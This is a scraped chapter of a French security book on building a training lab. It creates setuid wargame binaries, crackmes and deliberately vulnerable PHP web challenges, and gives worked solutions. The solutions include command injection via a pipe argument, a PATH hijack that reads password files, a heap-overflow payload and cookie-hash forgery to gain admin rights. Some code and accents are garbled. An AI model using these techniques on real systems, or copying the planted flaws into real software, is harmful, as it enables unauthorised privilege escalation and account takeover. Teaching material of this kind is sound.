Editions ENI Accueil Prcdent [email protected] Livres gratuits
Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures Sommaire Informations gnrales o Titre, auteur... Introduction o Introduction Proxmox o Prsentation o Installation o Configuration o Conclusion Machines virtuelles et services o Introduction o Serveur DHCP o OpenVPN o Serveur FTP o Serveur web o Serveur Asterisk o Nagios o Conclusion Mise en place des preuves o Introduction o Cration de cinq preuves applicatives o Cration de cinq preuves logiques o Cration d'preuves crakme o Cration des preuves web Plateformes dentranement Le matriel indispensable Cration de cinq preuves logiques La mthode est la mme que prcdemment. Nous devons dabord crer une nouvelle machine virtuelle puis crer les utilisateurs, le dossier /wargame et donner les droits aux fichiers qui suivent. 1. preuve level1 La cration de la premire preuve est simple : nous crons un fichier dans /home/level1 qui se nommera .backup et dans lequel nous inscrirons le mot de passe de level2. 2. preuve level2 Le fichier level2.c est : #include <stdio.h> #include <stdlib.h> #include <string.h> #define _GNU_SOURCE #include <unistd.h>
free(buff2); return 0; 6. Solution des preuves level1 Le mot de passe est dans /home/level1/.backup. level2 ./level2 "|sh" whoami level3 cat /home/level3/.passwd Nous remarquons en effectuant diffrents tests que level2 acceptant des arguments, nous pouvons placer un pipe ( | ) comme argument et donc ensuite un shell, sh par exemple qui nous fait de suite devenir level3. De ce fait, nous pouvons aller lire le mot de passe de level3. level3 Pour exploiter ce niveau, nous allons recrer une commande ls dans le rpertoire /tmp. Dans ce nouveau fichier ls, nous inscrirons ce que nous voulons faire, cest--dire cat /home/level4/.passwd. Nous donnerons ensuite tous les droits (777) ce fichier ls. Pour terminer, nous mettrons dans le PATH le chemin de ce nouveau ls. Il nous reste lancer level3. Le systme ira dabord chercher un ls dans le PATH et excutera notre ls la place du ls systme et excutera donc son contenu soit le cat /home/level4/.passwd. cat > /tmp/ls cat /home/level4/.passwd chmod 777 /tmp/ls export PATH="/tmp:$PATH" ./level3 level4 Ce quil fallait remarquer ici, cest labsence de return dans le main. Nous dsassemblons pour voir ce quil se passe. (gdb) disass main 0x08048565 <main+225>: mov DWORD PTR [esp+0x4],eax 0x08048569 <main+229>: mov DWORD PTR [esp],edx 0x0804856c <main+232>: call 0x80483b0 <strncmp@plt> 0x08048571 <main+237>: test eax,eax 0x08048573 <main+239>: jne 0x8048581 <main+253> 0x08048575 <main+241>: mov DWORD PTR [esp],0x804866d 0x0804857c <main+248>: call 0x80483a0 <puts@plt> 0x08048581 <main+253>: add esp,0x90 0x08048587 <main+259>: pop ecx 0x08048588 <main+260>: pop edi 0x08048589 <main+261>: pop ebp 0x0804858a <main+262>: lea esp,[ecx-0x4] 0x0804858d <main+265>: ret Nous remarquons alors que le rsultat de la fonction strncmp est laiss dans eax et retourn par ret. En regardant le manuel de strncmp, nous pouvons voir que les fonctions strcmp() et strncmp() renvoient un entier infrieur, gal ou suprieur zro si s1 (ou ses n premiers octets) est respectivement infrieure, gale ou suprieure s2. Nous pouvons alors caractre par caractre dduire le mot de passe lu via le code de retour du programme. Voici un script qui ralise cette opration : #!/bin/bash charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234 56789" code=`perl -e "print ord(z)"` pass="" for i in `seq 16` do test="${pass}z" /home/basic7/passtest "$test" retcode=`echo $?` var="`expr $code - $retcode`" var="`perl -e "print chr("$var")"`" pass="${pass}${var}" done echo $pass Nous lanons le script et nous obtenons le mot de passe. basic8@wargame:/tmp/.elz$ sh test.sh level5 Pour commencer ltude de cette preuve, nous allons donner des arguments au binaire level5 (58 octets). Nous voyons un message derreur qui saffiche dans gdb. fasm@moya:~$ python -c "print A*58" | ./level5 *** glibc detected *** ./basic10: free(): invalid next size (fast): 0x0804a008 *** ======= Backtrace: ========= /lib/i686/cmov/libc.so.6[0xb7ef0764] /lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ef2966] ./basic10[0x804850a] /lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e98455] ./basic10[0x8048411] Nous allons maintenant dsassembler le programme. (gdb) disass main (...) 0x08048505 <main+97>: call 0x80483ac <free@plt> (...) Nous retrouvons en main+97 la fonction free qui tait la cause de larrt du programme. Nous plaons un point darrt. Nous relanons ensuite le programme (r) et nous allons examiner le contenu de la pile (x/x $esp). Le contenu de esp est ladresse 0x0804a008, nous allons donc voir cette adresse. (gdb) b *main+97 Breakpoint 1 at 0x8048505
(gdb) r Starting program: /home/basic10/basic10 AAAA AAAA
Breakpoint 1, 0x08048505 in main () Current language: auto; currently asm
(gdb) x/x $esp 0xbffff8a0: 0x0804a008
(gdb) x/x 0x0804a008 0x804a008: 0x41414141 Nous avons cette adresse 0x41414141, nous crasons donc EIP. Si nous soustrayons 4 et vrifions le contenu de cette adresse, nous avons 0x39. Nous pouvons donc crire notre exploit. (gdb) x/x 0x0804a008-4 0x804a004: 0x00000039 fasm@moya:~$ python -c "import struct; print AAAA*13 + struct.pack(<I,0x00000039) + RMLL2011" | ./level5 Conditions gnrales d'utilisation Copyright - Editions ENI Accueil Prcdent [email protected] Livres gratuits
Hacking - Un labo virtuel pour auditer et mettre en place des contre-mesures Sommaire Informations gnrales o Titre, auteur... Introduction o Introduction Proxmox o Prsentation o Installation o Configuration o Conclusion Machines virtuelles et services o Introduction o Serveur DHCP o OpenVPN o Serveur FTP o Serveur web o Serveur Asterisk o Nagios o Conclusion Mise en place des preuves o Introduction o Cration de cinq preuves applicatives o Cration de cinq preuves logiques o Cration d'preuves crakme o Cration des preuves web Plateformes dentranement Le matriel indispensable Cration dpreuves crakme Daprs Wikipdia : Un crackme (littralement "cracke-moi") est un petit programme destin tester les capacits en rtro-ingnierie dun programmeur. Le but typique dun crackme est dtre modifi afin que la routine denregistrement de celui-ci fonctionne dans tous les cas. Les crackmes (et implicitement les schmas de protections quils utilisent) sont tantt programms et vus soit comme de simples jeux, soit comme de rels entranements destins enlever des protections logicielles commerciales. Nous allons vous montrer ici quelques exemples de crackme que nous pourrons mettre en tlchargement, par exemple sur le serveur FTP que nous avons cr au chapitre Machines virtuelles et services. 1. Crackme 1 Un crackme peut tre crit en nimporte quel langage compil. Nous utiliserons le langage C. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>
fprintf(stderr,"Segmentation Fault\n"); exit(1); } } Nous enregistrerons ce programme sous un fichier nomm crackme1.c. Nous devons compiler ce programme et nous ne fournirons, bien sr, que le binaire et non le programme source. fasm#gcc -m32 -o crackme1 crackme1.c fasm#chmod +x crackme1 fasm#chmod +s crackme1 2. preuve crackme2 Le fichier crackme2.c est le suivant : #include <time.h> #include <stdlib.h> #include <stdio.h>
int strcmp(const char *s1, const char *s2) { int ret = 0; srand(time(NULL)); int r = rand();
while (!(ret = *(unsigned char *) s1 - *(unsigned char *) s2) && *s2) { ++s1; ++s2; int i; for (i = 0;i < r % 5000; i++){ float j= i % 10 ; } } if (ret < 0)
ret = -1; else if (ret > 0)
ret = 1 ; return ret; }
int main(int argc, char* argv[]){ if (! strcmp(argv[1],"446476db4b7111d2a2b1c48217ceaa4d7ac28db4c3a68a513 97289c94d6c19fc3854d793cd9a71b4febd783ddfb4649a3d6cc77234c90036c0 570250ca60709f")){ printf("sKTqUx0rfTsWk\n"); return 1; }
return 0; } 3. Solution crackme a. Crackme1 Nous lanons donc gdb afin de dsassembler le programme crackme : fasm#gdb crackme1
(gdb) set disassembly-flavor intel (gdb) disassemble main
Nous voyons ici que, avant le strcmp, quelque chose ladresse 0x80486dc est charg dans esp. Allons donc voir cette adresse :
Nous voyons que le mot Mirobolant est charg. Testons-le.
Le problme est donc rsolu. b. Solution crackme2 La solution ici est identique la prcdente, la cl ntant plus une chane de caractres mais un nombre.
4. Dautres crackmes Nous pourrons trouver sur Internet une multitude de crackmes disponibles que nous pourrons mettre disposition sur notre serveur FTP. Nous pourrons aussi en crer nous-mmes si nous nous en sentons capables soit en C, en C++, en assembleur... suivant nos gots et envies... Seule votre imagination pourra vous limiter dans leur cration. Cration des preuves web 1. Prparation du serveur Au chapitre Machines virtuelles et services, nous avons vu lensemble des fichiers de configuration du serveur Apache. Nous avons travaill sur un nouveau fichier nouveau_host pour vous montrer une configuration possible avec des sous-domaines. Pour la simplification de lcriture des preuves et pour viter dtre dans un environnement qui ncessite un DNS, nous allons prendre un fichier de configuration de base. Entrons dans notre serveur Proxmox, activons la machine WEB1 et copions le fichier de configuration par dfaut. root@bt:~# ssh [email protected] [email protected] password: Linux proxmox 2.6.32-19-pve #1 SMP Mon Mar 18 06:41:32 CET 2013 x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Apr 6 10:42:07 2013 root@proxmox:~# vzctl start 100 Starting container ... Container is mounted Setting CPU units: 1000 Setting CPUs: 1 Configure veth devices: veth100.0 Adding interface veth100.0 to bridge vmbr0 on CT0 for CT100 Container start in progress... root@proxmox:~# vzctl enter 100 entered into CT 100 root@WEB1:/# cp /etc/apache2/sites-available/default /etc/apache2/sites-available/conf1 root@WEB1:/# Si nous voulons travailler plusieurs sur des preuves web diffrentes, il peut tre intressant davoir chacun son dossier personnel contenant un rpertoire www. Il faut alors faire pointer la racine du serveur Apache sur ce dossier. Comme expliqu au chapitre Installation des machines virtuelles et des services ncessaires, en travaillant avec des sous-domaines, nous pourrons faire pointer la racine de chaque VirtualHost des endroits diffrents. Nous pouvons aussi jouer sur le port dcoute. Ici, nous pourrions nous placer dans un cas plus simple mais nous laissons cette possibilit pour plus tard. En effet, nous considrons que nous sommes pour le moment seuls crire des preuves. Effectuons les tches suivantes : Cration dun utilisateur web. Cration dun dossier www dans notre dossier personnel. Changement du user et du group du dossier www. Changement des droits du dossier www pour que lutilisateur web et le serveur Apache puissent avoir les droits en lecture et criture. root@WEB1:/# adduser web Adding user `web ... Adding new group `web (1000) ... Adding new user `web (1000) with group `web ... The home directory `/home/web already exists. Not copying from `/etc/skel. Enter new UNIX password: Retype new UNIX password: passwd: password updated successfully Changing the user information for web Enter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] Y root@WEB1:/# mkdir /home/web/www root@WEB1:/# chown web.www-data /home/web/www root@WEB1:/# chmod ug+rw /home/web/www root@WEB1:/# ls -l /home/web/ -l total 4 drwxrwxr-x 2 web www-data 4096 Apr 8 07:19 www root@WEB1:/# Les preuves seront orientes PHP. Nous avons fait ce choix car cest statistiquement le langage le plus utilis pour la ralisation de sites web. Voici par exemple une statistique issue du site W3Techs.com.
PHP est de plus open source et gratuit. Bien entendu, rien ne vous empche dinstaller un serveur ASP, mais dans ce cas il faudra utiliser une machine virtuelle et non un conteneur, ce qui vous ferait perdre les avantages dOpenVZ. Installons le module PHP, qui en est sa version 5.3.3 au moment de lcriture de ces lignes. root@WEB1:/# aptitude install php5 The following NEW packages will be installed: apache2-mpm-prefork{ab} libapache2-mod-php5{a} libonig2{a} libqdbm14{a} php5 php5-cli{a} php5-common{a} php5-suhosin{a} 0 packages upgraded, 8 newly installed, 0 to remove and 0 not upgraded. Need to get 6663 kB of archives. After unpacking 17.3 MB will be used. The following packages have unmet dependencies: apache2-mpm-prefork: Conflicts: apache2-mpm which is a virtual package. apache2-mpm-worker: Conflicts: apache2-mpm which is a virtual package. Internal error: found 2 (choice -> promotion) mappings for a single choice. The following actions will resolve these dependencies:
Remove the following packages: 1) apache2-mpm-worker
Accept this solution? [Y/n/q/?] Y Pour certaines preuves web, nous allons devoir avoir un accs une base de donnes. Nous choisissons dinstaller MySQL en version 5.1. root@WEB1:/# aptitude install mysql-server-5.1 The following NEW packages will be installed: libdbd-mysql-perl{a} libdbi-perl{a} libhtml-template-perl{a} libmysqlclient16{a} libnet-daemon-perl{a} libplrpc-perl{a} mysql-client-5.1{a} mysql-common{a} mysql-server-5.1 mysql-server-core-5.1{a} psmisc{a} 0 packages upgraded, 11 newly installed, 0 to remove and 0 not upgraded. Need to get 23.4 MB of archives. After unpacking 55.7 MB will be used. Do you want to continue? [Y/n/?] Y Lors de cette installation, il faudra dfinir le mot de passe pour lutilisateur root de la base de donnes.
Il ne nous reste plus qu installer quelques modules PHP qui nous seront utiles, comme le module php-mysql pour laccs la base de donnes, et le module php-gd pour la construction de CAPTCHA. root@WEB1:/# apritude install php5-mysql root@WEB1:/# aptitude install php5-gd Voil, nous disposons de tous les modules ncessaires. Pour que la racine de notre serveur web pointe vers le dossier www du dossier personnel de lutilisateur web, il faut modifier le fichier de configuration que nous avons copi. Voici ce quil devient : <VirtualHost *:80> ServerAdmin webmaster@localhost
DocumentRoot /home/web/www <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /home/web/www> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all </Directory>
CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> Il faut prsent activer cette nouvelle configuration, dsactiver la configuration par dfaut et recharger la configuration. root@WEB1:/# ls /etc/apache2/sites-enabled/ 000-default root@WEB1:/# a2ensite conf1 Enabling site conf1. Run /etc/init.d/apache2 reload to activate new configuration! root@WEB1:/# ls /etc/apache2/sites-enabled/ 000-default conf1 root@WEB1:/# a2dissite default Site default disabled. Run /etc/init.d/apache2 reload to activate new configuration! root@WEB1:/# /etc/init.d/apache2 reload Reloading web server config: apache2. root@WEB1:/# ls /etc/apache2/sites-enabled/ conf1 root@WEB1:/# Afin de vrifier que tout est bien configur, nous crons un fichier test.php affichant la configuration du serveur dans le dossier www de lutilisateur web. root@WEB1:/# su web web@WEB1:/$ cd /home/web/www/ web@WEB1:~/www$ echo "<?php phpinfo(); ?>" > test.php web@WEB1:~/www$ Nous visualisons alors dans un navigateur le rsultat.
Tout fonctionne parfaitement et nous allons pouvoir passer lcriture de failles de scurit proprement parler. Nous allons les rpartir en plusieurs catgories : Le passage des contrles ct client. La dcouverte de pages par indexation automatique. Lattaque de formulaires par dictionnaire. Linjection SQL. Le passage de CAPTCHA. 2. Des protections qui nen sont pas a. Cration de la structure du site des preuves Il faudrait en principe construire un site web complet et y insrer des failles. Mais nous nallons pas commencer tout faire. Nous pouvons nous appuyer sur des modles libres et open source. Vous en trouverez de trs nombreux sur : http://www.oswd.org/ Vous tes libre de choisir le modle qui vous plat. Ils sont en gnral tous construits de faon similaire : une CSS et un fichier HTML exemple. Nous utiliserons pour les exemples le modle TerraFirma. Pour copier les fichiers de larchive dans larborescence de notre serveur, nous procdons de la manire suivante : Nous tlchargeons larchive depuis le site sur notre machine locale. Nous copions larchive directement de notre machine locale dans le dossier root de notre serveur web en passant le serveur Proxmox. Nous faisons une extraction de larchive dans le dossier personnel de lutilisateur web. Nous faisons une copie de ce dossier dans le dossier www en le renommant epreuve1. Sur la machine locale : root@bt:~# scp Downloads/terrafirma.zip [email protected]:/var/lib/vz/private/100/root Sur le serveur web : root@WEB1:/home/web# unzip /root/terrafirma.zip Archive: /root/terrafirma.zip inflating: terrafirma/default.css creating: terrafirma/images/ inflating: terrafirma/images/a1.gif inflating: terrafirma/images/a10.jpg extracting: terrafirma/images/a16.gif inflating: terrafirma/images/a18.gif inflating: terrafirma/images/a22.gif extracting: terrafirma/images/a26.gif inflating: terrafirma/images/a33.gif inflating: terrafirma/images/a36.gif inflating: terrafirma/images/a38.gif inflating: terrafirma/images/a41.gif extracting: terrafirma/images/a47.gif extracting: terrafirma/images/a50.gif inflating: terrafirma/images/a8.gif inflating: terrafirma/images/abg.gif inflating: terrafirma/images/pic1.jpg inflating: terrafirma/images/pic2.jpg inflating: terrafirma/images/spacer.gif inflating: terrafirma/images/upbg.gif inflating: terrafirma/index.html inflating: terrafirma/readme.txt root@WEB1:/home/web# mv terrafirma/ www/epreuve1 Voici quoi ressemble ce modle :
Nous plaons lensemble du code dans un dossier epreuve1 avant de commencer sa modification. Nous entrons dans ce dossier. Si nous parcourons le code source HTML de la page ci-dessus, nous constatons quelle est bien dcompose en plusieurs parties, chacune tant entre deux balises <div> et avec un style appropri. Nous pouvons changer le contenu de la page pour ladapter une situation que nous voulons simuler, lessentiel tant de pouvoir coder des failles de scurit facilement. Nous choisissons de modifier de faon permanente le titre, le menu et le contenu secondaire, correspondant la partie de la page dlimite par des balises <div> did secondarycontent. Pour le contenu primaire dlimit par des balises <div> did primarycontent, nous appelons une fonction PHP afin de modifier celui-ci en fonction dun paramtre. Il faudra videmment renommer le fichier index.html en index.php. Nous crons un fichier fonctions.php dans lequel nous implmenterons une fonction qui va changer laffichage du centre de la page en fonction du paramtre qui lui est pass en argument. Cette fonction devra aussi traiter les retours des formulaires. Il faudra ajouter un include de ce fichier dans le fichier index.php. Nous modifions aussi le menu de la page en tenant compte de cette organisation : <div id="menu"> <ul> <li><a href="index.php?m=1">Biographie</a></li> <li><a href="index.php?m=2">Emacs</a></li> <li><a href="index.php?m=3">Projet GNU</a></li> <li><a href="index.php?m=4">Faits</a></li> <li><a href="index.php?m=5">Inscription</a></li> <li><a href="index.php?m=100">Aide</a></li> </ul> <div id="date">Le 15 avril 2013</div> Nous avons dcid dans notre exemple dcrire des pages sur Richard STALLMAN. Voici le fichier fonctions.php. Vous remplacerez le contenu avec ce que vous voulez, bien videmment. Cette organisation est juste une suggestion et vous pouvez crer votre squelette de site web comme bon vous semble. Mais dans la suite de lcriture des preuves, nous nous appuierons sur la structure que nous vous avons prsente ici. <?php function page($type,$id) { if ( $type == "GET" ) { //ici le traitement des retours GET if ( $id == 1 ) { // ***** page 1 ***** ?> <div class="header"> <h3>Biographie</h3> <div class="date">20 avril 2013</div> </div> <div class="content"> <img src="images/pic1.jpg" class="picA floatleft" alt="" /> <p> Richard Matthew Stallman (n Manhattan, le 16 mars 1953), connu aussi sous les initiales rms, est un programmeur et militant du logiciel </p>
<?php } } elseif ($type=="POST") { //ici le traitement des retours POST echo " faire"; } } ?> Voici laspect que prend notre site en ayant aussi remplac quelques images.
b. Implmentation de la premire preuve Passons lcriture de lpreuve. Dans un premier temps, nous crons le formulaire dinscription qui prsente des limitations ct client. <p> <form action="index.php" id="form_rens" method="post"> <fieldset> <legend> Fiche de renseignements</legend> <p> <label for="civilite">Civilit : <select name="civilite" id="civilite"> <option value="mr" selected="selected">Monsieur</option> <option value="mme">Madame</option> <option value="melle">Mademoiselle</option> </select> </label> </p> <p><label for="nom">Nom : <input type="text" name="nom" id="nom" maxlength="20"></label></p> <p><label for="prenom">Prnom : <input type="text" name="prenom" id="prenom" maxle$ngth="20"></label>$ <p><label for="email">Email : <input type="text" name="email" id="email" maxlength="20"></label></p> <input type="hidden" name="form" value="1"> <input type="hidden" name="droits" value="user"> <p><input type="submit" name="form1" value="Envoyer"></p> </fieldset> </form> </p> Nous plaons ce code dans notre fichier fonctions.php pour quil soit envoy lors de lappel la page Inscription. Il faut ensuite traiter le retour du formulaire. Ce code doit vrifier que le pirate arrive bien modifier les lments possibles du contrle de type select, dpasser la limite du nombre de caractres des champs et changer la valeur du champ cach. elseif ($type=="POST") { if ( $id==1) { if (strlen($_POST[nom])>20 AND strlen($_POST[prenom])>20 AND strlen($_POST[email])>20 AND $_POST[civilite]=="$ { echo "Bravo, vous venez de passer les contrles ct client."; } else { echo "Inscription valide normalement"; } } } } Pour aider la personne qui teste ses comptences, vous pouvez fournir une aide. Le texte pourrait tre : Vous devez russir passer les limitations ct client. Pour cela, passez des champs de grande longueur, passez votre civilit "zzz" et devenez administrateur. La premire preuve est termine, passons la solution. c. Solution de la premire preuve Pour modifier les donnes dun formulaire la vole afin denvoyer des donnes inattendues, il existe plusieurs solutions, par exemple, lutilisation dun proxy entre votre navigateur et le serveur. Nous aurons loccasion dutiliser cette technique dans dautres preuves. Nous vous proposons donc ici laltration des donnes laide dun module complmentaire de Firefox : Tamper Data . Nous choisissons aussi dutiliser une distribution BackTrack comme systme dexploitation pour lattaque de notre site web. En effet, celle-ci possde dj un grand nombre doutils qui nous seront trs utiles et que nous naurons plus installer. Pour installer Tamper Data, tlchargez celui-ci ladresse suivante : https://addons.mozilla.org/fr/firefox/addon/tamper-data/ Vous voyez apparatre un nouvel item en bas du menu Outils de Firefox. Rendez-vous sur la page du formulaire que nous devons affecter. Lancez Tamper Data.
Activez la capture des donnes en cliquant sur Start Tamper. Quand nous validons le formulaire, une bote de dialogue souvre nous proposant de poster directement les donnes, dannuler le post ou de passer les donnes Tamper. Cest cette dernire option que nous choisissons.Voici lcran que nous obtenons.
Nous constatons que nous pouvons modifier toutes les donnes qui vont tre envoyes au serveur, y compris les en-ttes. Nous remplissons les champs du formulaire comme prsent. Nous cliquons sur OK, et voil, lpreuve est valide. d. Implmentation de la deuxime preuve Comme pour toutes les preuves, nous allons partir de lpreuve 1 et modifier les lments ncessaires. Nous copions donc lintgralit du dossier epreuve1 dans epreuve2 : root@WEB1:/home/web/www# cp -R epreuve1 epreuve2 Une forme de contrle qui est souvent utilise ct client, et qui ne prsente pas non plus un gros intrt en termes de scurit, est lutilisation de JavaScript. Par contre, ce langage permet une bonne amlioration de lergonomie des sites et il est devenu pratiquement impossible de naviguer en dsactivant JavaScript. Nous allons crer un script nomm crypt.js dans le dossier epreuve2 dont voici la partie la plus intressante : var str_crypt, str_dcrypt, frm, pwd; function cryptage(chaine,clef) { var i,j,ch_crypt,clef_c; ch_crypt=""; j=0; for (i=0; i<chaine.length; i++) { clef_c=clef.charCodeAt(j); ch_crypt+=String.fromCharCode(chaine.charCodeAt(i)clef_c); j++; if ( j == clef.length) {j=0;} } return ch_crypt; }
function valform() { frm=document.forms[formjs1]; pwd=frm.elements[pass].value; if (pwd.length<=1) { alert("Vous navez pas saisi un mot de passe assez long"); return false; } else { alert("chiffrement du mot de passe");
document.forms[formjs1].elements[pass].value=encodeBase64 (cryptage(pwd,hnc-nsc-2013)); return true; } } Ce script doit aussi avoir deux autres fonctions qui sont encodeBase64 et decodeBase64. Nous navons pas mis le code de ces fonctions pour des raisons de place. Vous pouvez trouver beaucoup dexemples sur Internet pour raliser celles-ci, par exemple dans le code source de la page suivante : http://decodebase64.com/ Il nous faut prsent modifier le fichier index.php pour inclure ce code JavaScript. Nous ajoutons la ligne suivante dans la partie <head> : <script language="javascript" type="text/javascript" src="crypt.js"></script> Modifions aussi le menu en remplaant Inscription par Identification . La dernire tape est la modification du fichier fonctions.php. Commenons par le code qui doit tre appel quand nous cliquons sur le lien Identification. <form onsubmit="return valform()" action="index.php" method="POST" name="formjs1" id="formjs1"> <fieldset> <legend> Identifiez-vous</legend> Votre identifiant : <input type="text" name="login"><br> Votre mot de passe : <input type="password" name="pass"> <input type="hidden" name="form" value="2"> <input type="submit" id="valider" name="validr" value="valider"> </fieldset> </form> Voici ensuite le code ncessaire la validation du formulaire : echo "<h1>Identification</h1>"; $login=$_POST[login]; $mdp = base64_decode($_POST[pass]); $clef="hnc-nsc-2013"; $ch_dcrypt=""; $j=0; for ($i=0; $i<strlen($mdp); $i++) { $car = substr($mdp,$i,1); $clef_c = substr($clef,$j,1); $val_car = ord($car); $val_clef_c = ord($clef_c); $val = $val_car = $val_clef_c; $ch_dcrypt = $ch_dcrypt.chr($val); $j++; if ( $j == strlen($clef)) {$j=0;} } if ($ch_dcrypt=="azerty" and $login=="user") { echo "<p>Vous tes identifi comme utilisateur avec des droits limits</p>"; } elseif ($ch_dcrypt=="XdcRF5UD" and $login=="admin") { echo "<h4>BRAVO! Vous tes identifi comme administrateur.</h4>"; } else { echo "<p>Mauvaise identification.</p>"; } Pour cette preuve, nous supposons que nous disposons dune capture des trames rseau nous permettant davoir le contenu du champ pass qui est transmis par le formulaire au serveur. Ce mot de passe est MaoAfyhGNmk=. Il semble que celui-ci soit chiffr. Lobjectif est de remonter au vrai mot de passe. Ces informations pourront tre donnes lutilisateur dans une page daide lui permettant davoir des informations pour rsoudre lpreuve. e. Solution de la deuxime preuve Si nous inspectons le code de validation du formulaire, nous remarquons que celui-ci nenvoie pas les donnes directement mais passe par lappel dune fonction JavaScript nomme valform(). Il faut alors comprendre ce que fait cette fonction. Elle rcupre dans un premier temps les champs du formulaire. Ensuite, la longueur du champ pass est vrifie et si elle est suprieure 1, le mot de passe est transmis en POST au serveur en passant par deux fonctions auparavant : La fonction encodeBase64(), qui fait ce quelle indique, un encodage base64. La fonction cryptage(), qui prend en arguments le mot de passe et un autre champ. Il est alors ncessaire de sintresser de prs cette dernire fonction. Nous voyons en tudiant le code quelle ralise un chiffrement classique avec un OU exclusif en faisant une rotation circulaire sur le deuxime paramtre, qui est donc la cl de chiffrement. Ce type de chiffrement est rversible et nous pouvons donc le repasser dans la mme fonction pour le dchiffrer. Voici les oprations que nous allons faire avec le mot de passe chiffr : Dcoder la valeur encode en base64. Dchiffrer avec la mme cl de chiffrement que dans le script JavaScript. Ralisons ces oprations en PHP CLI. Cest un point intressant de PHP, celui-ci peut aussi sexcuter en ligne de commande. Crons le fichier decrypt.php suivant : <?php $mdp = base64_decode(MAoAfyhGNmk=); $clef="hnc-nsc-2013"; $ch_dcrypt=""; $j=0; for ($i=0; $i<strlen($mdp); $i++) { $car = substr($mdp,$i,1); $clef_c = substr($clef,$j,1); $val_car = ord($car); $val_clef_c = ord($clef_c); $val = $val_car = $val_clef_c; $ch_dcrypt = $ch_dcrypt.chr($val); $j++; if ( $j == strlen($clef)) {$j=0;} } echo $ch_dcrypt."\n"; ?> Lanons le script en ligne de commande. root@WEB1:/home/web/www# php5 decrypt.php XdcRF5UD Voil, nous obtenons le mot de passe dchiffr. f. Implmentation de la troisime preuve Dans un premier temps, copions le code de lpreuve 1 dans un dossier epreuve3. root@WEB1:/home/web/www# cp -R epreuve1 epreuve3 Nous ajoutons la premire ligne du fichier index.php le code suivant afin de passer en mode session : <?php session_start(); ?> Cette preuve met en place un formulaire didentification qui fait appel des cookies. Voici le code ajouter dans le fichier fonctions.php lemplacement o vous souhaitez afficher le formulaire. // ***** page 5 identification ***** if (isset($_COOKIE[user])) { if ( $_COOKIE[user]=="f4a77acf03e969bbb2b99fee35d137fb") { echo "<h2>Bonjour Franck, bienvenue sur votre compte.</h2>"; echo "<br />Pas de nouvelles informations pour le moment."; if (isset($_COOKIE[d]) and $_COOKIE[d]==1d8141b215f74524ddb3a4a21d55cc9c2141bd0c) echo "<p>Bravo, vous venez de passer administrateur, votre clef est : <strong>aZD4jVuu1N</strong></p>"; } elseif($_COOKIE[user]=="4ffe35db90d94c6041fb8ddf7b44df29") { echo "<h2>Bonjour Robert, bienvenue sur votre compte.</h2>"; echo "<br />Pas de nouvelles informations pour le moment."; if (isset($_COOKIE[d]) and $_COOKIE[d]==1d8141b215f74524ddb3a4a21d55cc9c2141bd0c) echo "<p>Bravo, vous venez de passer administrateur, votre clef est : <strong>aZD4jVuu1N</strong></p>"; } else { echo "<h2>Utilisateur inconnu!</h2>"; } } else { ?> <div class="header"> <h3>Identification</h3> <div class="date">20 avril 2013</div> </div> <div class="content"> <form action="index.php" name="ident" id="ident" method="post"> <fieldset> <legend>Identifiez-vous</legend> <p><label for="Identifiant">Identifiant : <input type="text" name="login" id="login" maxlength="20"></label></p> <p><label for="Mot de passe">Mot de passe : <input type="password" name="passwd" id="passwd" maxlength="20"></label></p> <input type="hidden" name="form" value="1"> <p><input type="submit" name="form1" value="Valider"></p> </fieldset> </p> </div> <?php } Il faut encore ajouter en fin de fichier le code qui fait la vrification de lauthentification de lutilisateur. //*** validation des post *** elseif ($type=="POST") { if ( $id==1) { if ($_POST[login]=="Franck" and $_POST[passwd]=="Zd34s5") { setcookie("user","f4a77acf03e969bbb2b99fee35d137fb"); setcookie("d","0b20cd7f98fde6a0c65a6ff68ffdfb627f32d176"); echo "<h1>Validation didentification</h1>"; echo " <h2>Bonjour Franck, bienvenue sur votre compte.</h2>"; echo "<br />Pas de nouvelles informations pour le moment."; } } Lpreuve est en place. Il faudra quand mme indiquer lauditeur ou au logiciel daudit quun compte existe avec comme nom dutilisateur Franck et comme mot de passe Zd34s5 , et que lobjectif est de passer administrateur du site. Passons la solution. g. Solution de la troisime preuve Nous commenons par analyser le comportement du site. Nous nous rendons sur la page o se trouve le formulaire didentification et nous saisissons le compte qui nous a t donn. Si nous cherchons les cookies qui nous ont t envoys, nous en trouvons 3. Cette analyse des cookies peut tre facilement faite avec une extension Firefox trs intressante : Firebug. Vous la trouverez cette adresse : https://addons.mozilla.org/fr/firefox/addon/firebug/ Aprs linstallation, un petit insecte apparat en haut droite dans votre navigateur. Si vous cliquez dessus, Firebug sactive ouvrant une zone en bas du navigateur. Celle-ci prsente un menu dont un item est Cookies. Voici ce que nous obtenons en cliquant sur ce menu :
Nous voyons que le site nous a envoy trois cookies : un de session et deux autres (user et d). Nous remarquons que ceux-ci ont des longueurs diffrentes et quils ressemblent des HASH. En effet, ils sont uniquement composs de chiffres et de lettres. Le cookie user a une longueur de 32 caractres faisant penser un HASH-MD5 et le cookie d une longueur de 40 caractres correspondant un HASH-SHA1. Nous allons tenter de remonter au contenu en clair quils pourraient indiquer. Il existe une multitude de sites avec des dictionnaires immenses implments permettant de remonter au message en clair partir de son HASH, par exemple : http://www.stringfunction.com/sha1-decrypter.html Nous avons trs vite avec ces outils en ligne linformation que le cookie d contient le HASH-SHA1 de Utilisateur et le cookie user , le HASH-MD5 de Franck . Visiblement, ces deux cookies mmorisent le nom dutilisateur et les droits de celui-ci. Nous calculons le HASH-SHA1 de Administrateur avec la commande suivante : root@WEB1:/home/web/www# echo -n "Administrateur" | openssl dgst -sha1 1d8141b215f74524ddb3a4a21d55cc9c2141bd0c 